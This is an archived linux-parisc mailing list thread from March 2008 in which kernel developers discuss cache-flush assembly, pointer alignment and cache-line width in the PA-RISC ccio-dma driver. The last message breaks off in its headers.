X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/197>

> > asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]))
> > 
> > Flushing pdir_ptr may or may not work depending on the cache line width
> > (pdr_ptr[7] is 28 bytes away, so if the line size is 16 it will fail;
> > although I think almost every machine with a ccio has a 32 byte or
> > higher cache line width).
> 
> Actually, pdr_ptr is a char *, so this is 7 bytes away.  However,
> I think you are correct in saying that pdr_ptr[7] needs to be flushed.
> 
> The same issue would appear to apply to the other flush in the file.
> 
> The cache line alignment of pdir's isn't immediately apparent to
> me.  If the pdir was defined as a two word array, it might span
> two lines.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
mmm follwing stuff shouldn't so be enough:
Index: b/drivers/parisc/ccio-dma.c
===================================================================
--- a/drivers/parisc/ccio-dma.c 2008-03-12 08:49:20.000000000 +0000
+++ b/drivers/parisc/ccio-dma.c 2008-03-12 08:50:54.000000000 +0000
@@ -624,7 +624,8 @@
        ** the real mode coherence index generation of U2, the PDIR entry
        ** must be flushed to memory to retain coherence."
        */
-       asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
+       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[1]));
+       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[0]));
        asm volatile("sync");
 }

@@ -695,7 +696,7 @@
                ** Hopefully someone figures out how to patch (NOP) the
                ** FDC/SYNC out at boot time.
                */
-               asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
+               asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]));

                iovp     += IOVP_SIZE;
                byte_cnt -= IOVP_SIZE;
=== <> ===

Specialy for the first hunk where pdir_ptr is a u64 *:
ccio_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
                   unsigned long hints)

into which with temporary pa var (defined as an unsigned long)
        register unsigned long pa;

*pdir_ptr is changed like
        ((u32 *)pdir_ptr)[1] = (u32) pa;
[snip]
        ((u32 *)pdir_ptr)[0] = (u32) pa;

What would be the best way to works?

Tx,
    r.

PS: in this doc feb96a6.pdf (easy to find) it was said:
"[snip]
Entries in the PA 7200 and PA 8000 caches are stored in lines
of 32 bytes.
[snip]

Because one-word writes occur in the I/O system,
for registers, semaphores, or short DMA writes it was necessary that the I/O
adapter implement a one-line-deep cache to
buffer cache lines, so that these one-word writes could be executed by
performing a coherent read private transaction on
the Runway bus, obtaining the most recent copy of the cache line, modifying it
locally in cache, and finally writing the
modified line back to main memory. For the I/O adapter to support a cache on
the Runway bus, it has to have the ability to
compare processor-generated virtual address transactions with the address
contained in its cache to ensure that the
processors always receive the most up-to-date data.
[s
[snip]"

2 thinks:
    - it seems to confirm that cache line is well 32bytes wide ;-)

    - for 'one word writes...' how should it be implemented?
      It look like the sba_iommu driver:
      "READ_REG(ioc-ioc_ha_IOC_PCOM); /* flush purges */
      but without more detailed docs on U2/UTurn ccio, I don't know how to
      implement matter, sorry.

 

---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Wed, 12 Mar 2008 07:47:22 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <1205322442.2941.104.camel@localhost.localdomain>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205324069 9484 80.91.229.12 (12 Mar 2008 12:14:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Mar 2008 12:14:29 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
	"soete.joel" <soete.joel@scarlet.be>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 13:14:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZPqk-00007M-Ab
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 13:14:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751518AbYCLMNm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Mar 2008 08:13:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751524AbYCLMNl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 12 Mar 2008 08:13:41 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:37491 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751518AbYCLMNl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Mar 2008 08:13:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 69EC8892A;
	Wed, 12 Mar 2008 07:13:39 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1205324019; bh=D+0+K4M3+fR8d6K2+uJ/KGBDDoLZt2kA755Kp+C6n9
	A=; l=970; h=Subject:From:To:Cc:In-Reply-To:References:Content-Type:
	 Date:Message-Id:Mime-Version:X-Mailer:Content-Transfer-Encoding;
	b=FbwIt5P0qU48MAtrs6x4aEUbhCOZFsh+X9C86K/Eq2TA4PZq1kYJsMIJ2mEmvvios
	hvd/XH4L/Mu+XsrcUe6YL5Zgk/7thnD57Y1fxqXgkjYnj4csk5BpYr6yvXIQwnISR1C
	74Xdt/ZY+9RwalXSX/bs5NXfxul8EFjmLMfNoCo=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xywmPzR0Fq6F; Wed, 12 Mar 2008 07:13:37 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3124E882F;
	Wed, 12 Mar 2008 07:13:36 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1205324016; bh=D+0+K4M3+fR8d6K2+uJ/KGBDDoLZt2kA755Kp+C6n9
	A=; l=970; h=Subject:From:To:Cc:In-Reply-To:References:Content-Type:
	 Date:Message-Id:Mime-Version:X-Mailer:Content-Transfer-Encoding;
	b=hlkV9Rdsg4dxxA8U/DnSorBlpSEoCfknUq9D8TIvpFMXYdX0ENnTFeK8m8p3aJ2i9
	/gj/yUOSkaOlyGZIOEupeKasjbNDvfxBSc15K58d9NAN/7T6yfi7MRlLeeJRlWjG/xR
	0FjEu8EHK6Idh9YsqqYZiPuFiIADUH3FloZ2VMM=
In-Reply-To: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be>
X-Mailer: Evolution 2.12.3 (2.12.3-3.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/198>

On Wed, 2008-03-12 at 10:16 +0100, rubisher wrote:
> -       asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[1]));
> +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[0]));
>         asm volatile("sync");

Actually, no, I'm afraid this is wrong.

The code is a complete dogs breakfast, since pdir_ptr is defined as u64
* in ccio_pdir_entry() and char * in ccio_mark_invalid.

What Dave was pointing out is that this structure is 8 bytes long and
may span two cache lines on the word boundary.  Assuming that's the
case, this needs to flush the first and second word, not the first and
second u64 entry as your code would (the second flush is actually
flushing the next pdir entry).

However, since it's contained in a u64 pointer, it must reasonably be on
an 8 byte boundary (or be triggering an unaligned poiner error) and
therefore shouldn't span multiple cache lines anyway.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Wed, 12 Mar 2008 08:51:03 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20080312125104.AE1C54E4F@hiauly1.hia.nrc.ca>
References: <1205322442.2941.104.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205326279 18223 80.91.229.12 (12 Mar 2008 12:51:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Mar 2008 12:51:19 +0000 (UTC)
Cc: rubisher@scarlet.be, soete.joel@scarlet.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 13:51:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZQQp-00060v-B7
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 13:51:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751130AbYCLMvI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Mar 2008 08:51:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750992AbYCLMvI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 12 Mar 2008 08:51:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3548 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751130AbYCLMvH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Mar 2008 08:51:07 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AE1C54E4F; Wed, 12 Mar 2008 08:51:04 -0400 (EDT)
In-Reply-To: <1205322442.2941.104.camel@localhost.localdomain> from "James Bottomley" at Mar 12, 2008 07:47:22 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:199
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/199>

> However, since it's contained in a u64 pointer, it must reasonably be on
> an 8 byte boundary (or be triggering an unaligned poiner error) and
> therefore shouldn't span multiple cache lines anyway.

It's not a hard rule that u64 objects be aligned on an 8 byte
boundary as the PA 1.x architecture doesn't have 64-bit integer
loads and stores.  A u64 object has to be loaded with two
32-bit loads and lives in a pair of 32-bit registers.  As a 
result, an unaligned u64 object will only trigger an unaligned
pointer error if it is not aligned on a 4 byte boundary.

However in GCC, we force u64 alignment (except in packed structs)
to a 8 byte boundary.  This allows casting pointers between long
longs and doubles.  It also simplifies the GCC backend as otherwise
special treatment would be needed for long longs.  There's been some
discussion of this for x86 recently.

In this situation, the alignment of pdir's depends on how they
were originally declared.  If declared as long long, GCC will give
them 8 byte alignment, so the two words should always be in the
same cache line.  On the otherhand, if the pdir is declared as
a pair of 32-bit words, the pdir might span two cache lines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Wed, 12 Mar 2008 15:52:16 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20080312195217.9CBF84E4F@hiauly1.hia.nrc.ca>
References: <20080312125104.AE1C54E4F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1205351549 22770 80.91.229.12 (12 Mar 2008 19:52:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Mar 2008 19:52:29 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, rubisher@scarlet.be,
	soete.joel@scarlet.be, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org, kyle@parisc-linux.org, matthew@wil.cx
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 12 20:52:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JZX0R-0005aw-Ip
	for glpp-linux-parisc@gmane.org; Wed, 12 Mar 2008 20:52:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751694AbYCLTwV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 12 Mar 2008 15:52:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751772AbYCLTwU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 12 Mar 2008 15:52:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3578 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751694AbYCLTwU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 12 Mar 2008 15:52:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 9CBF84E4F; Wed, 12 Mar 2008 15:52:17 -0400 (EDT)
In-Reply-To: <20080312125104.AE1C54E4F@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 12, 2008 08:51:03 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:200
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/200>

> In this situation, the alignment of pdir's depends on how they
> were originally declared.  If declared as long long, GCC will give
> them 8 byte alignment, so the two words should always be in the
> same cache line.  On the otherhand, if the pdir is declared as
> a pair of 32-bit words, the pdir might span two cache lines.

It looks to me like pdirs should be 8 byte aligned and thus always
should lie in a cache line.

The following insn appears to put hints in the wrong place on
a 64-bit kernel since `pa' is then a 64-bit type:

        asm volatile("depw  %1,31,12,%0" : "+r" (pa) : "r" (hints));

The depw will operate on the left word.  Looks like it should be

        asm volatile("depw  %1,31,12,%R0" : "+r" (pa) : "r" (hints));

when __LP64__ is defined.  Think the same is true for the following
depw as well.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Thu, 13 Mar 2008 21:50:20 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20080314035020.GA24794@colo.lackof.org>
References: <47D3EC43.3070101@scarlet.be> <1205179187.2941.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205466647 1103 80.91.229.12 (14 Mar 2008 03:50:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 03:50:47 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 04:51:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja0wr-0005lz-S0
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 04:51:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752153AbYCNDuc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Mar 2008 23:50:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752385AbYCNDuc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 13 Mar 2008 23:50:32 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:56786 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751700AbYCNDuc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Mar 2008 23:50:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B9076338243;
	Thu, 13 Mar 2008 21:50:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25085-03; Thu, 13 Mar 2008 21:50:20 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4B82F338242; Thu, 13 Mar 2008 21:50:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1205179187.2941.23.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:201
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/201>

On Mon, Mar 10, 2008 at 02:59:47PM -0500, James Bottomley wrote:
> On Sun, 2008-03-09 at 13:55 +0000, Joel Soete wrote:
> > Hello Grant,
> > 
> > Always tracking this ccio-dma bug, I figure out this stuff could be helpfull:
> > --- a/drivers/parisc/ccio-dma.c	2008-03-09 12:55:00.000000000 +0000
> > +++ b/drivers/parisc/ccio-dma.c	2008-03-09 12:55:21.000000000 +0000
> > @@ -802,7 +802,7 @@
> >   			 * Hopefully someone figures out how to patch (NOP) the
> >   			 * FDC/SYNC out at boot time.
> >   			 */
> > -			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr[7]));
> > +			asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> 
> That's the wrong fix.  What it's trying to do is flush the write made
> above this to pdir_ptr[7].  Therefore there should be an '&' in front,
> so
> 
> asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[7]))

In this case, it's certainly the same cacheline.
I can guarantee pdir_ptr is 8 byte aligned.

> Flushing pdir_ptr may or may not work depending on the cache line width
> (pdr_ptr[7] is 28 bytes away, so if the line size is 16 it will fail;
> although I think almost every machine with a ccio has a 32 byte or
> higher cache line width).

Yes (32-byte cachelines at least) and jda already pointed out pdir_ptr
is a char*.

thanks,
grant

> 
> James
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Yet another ccio fix idea?
Date: Thu, 13 Mar 2008 21:57:31 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20080314035731.GB24794@colo.lackof.org>
References: <JXM1RH$256C92C0CB28292D8C30F2A8EBC987EF@scarlet.be> <1205322442.2941.104.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205467085 1876 80.91.229.12 (14 Mar 2008 03:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 03:58:05 +0000 (UTC)
Cc: rubisher <rubisher@scarlet.be>, dave <dave@hiauly1.hia.nrc.ca>,
	"soete.joel" <soete.joel@scarlet.be>,
	grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	kyle <kyle@parisc-linux.org>, matthew <matthew@wil.cx>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 04:58:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja13v-00064k-Tv
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 04:58:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751700AbYCND55 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 13 Mar 2008 23:57:57 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752471AbYCND55
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 13 Mar 2008 23:57:57 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:56910 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751700AbYCND54 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 13 Mar 2008 23:57:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id BE58D338244;
	Thu, 13 Mar 2008 21:57:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25085-09; Thu, 13 Mar 2008 21:57:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1920A33823A; Thu, 13 Mar 2008 21:57:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1205322442.2941.104.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/202>

On Wed, Mar 12, 2008 at 07:47:22AM -0400, James Bottomley wrote:
> On Wed, 2008-03-12 at 10:16 +0100, rubisher wrote:
> > -       asm volatile("fdc %%r0(%0)" : : "r" (pdir_ptr));
> > +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[1]));
> > +       asm volatile("fdc %%r0(%0)" : : "r" (&pdir_ptr[0]));
> >         asm volatile("sync");
> 
> Actually, no, I'm afraid this is wrong.
> 
> The code is a complete dogs breakfast, since pdir_ptr is defined as u64
> * in ccio_pdir_entry() and char * in ccio_mark_invalid.

*ugh* sorry about that.
And pdir_ptr cast to "u32 *" in both uses where it's dereferenced.


> What Dave was pointing out is that this structure is 8 bytes long and
> may span two cache lines on the word boundary.  Assuming that's the
> case, this needs to flush the first and second word, not the first and
> second u64 entry as your code would (the second flush is actually
> flushing the next pdir entry).
> 
> However, since it's contained in a u64 pointer, it must reasonably be on
> an 8 byte boundary (or be triggering an unaligned poiner error) and
> therefore shouldn't span multiple cache lines anyway.

pdir_ptr will always point at a u64 * and will always be 8 byte aligned.
The allocation is done in ccio_ioc_init():
        ioc->pdir_base = (u64 *)__get_free_pages(GFP_KERNEL,
                                                 get_order(ioc->pdir_size));

hth,
grant

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 'Trace patches test' [Was: ccio_clear_io_tlb() and
	__raw_write() more question?]
Date: Thu, 13 Mar 2008 23:47:53 -0600
Lines: 148
Approved: news@gmane.org
Message-ID: <20080314054753.GH24794@colo.lackof.org>
References: <JV7395$DBAE1F0684DA4A107D72A32A8088590F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1205473700 14753 80.91.229.12 (14 Mar 2008 05:48:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Mar 2008 05:48:20 +0000 (UTC)
Cc: grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 14 06:48:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ja2ma-0002ss-OS
	for glpp-linux-parisc@gmane.org; Fri, 14 Mar 2008 06:48:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751585AbYCNFsI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Mar 2008 01:48:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752529AbYCNFsI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 14 Mar 2008 01:48:08 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:59176 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751585AbYCNFsG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Mar 2008 01:48:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C51B2338242;
	Thu, 13 Mar 2008 23:48:04 -0600 (MDT)
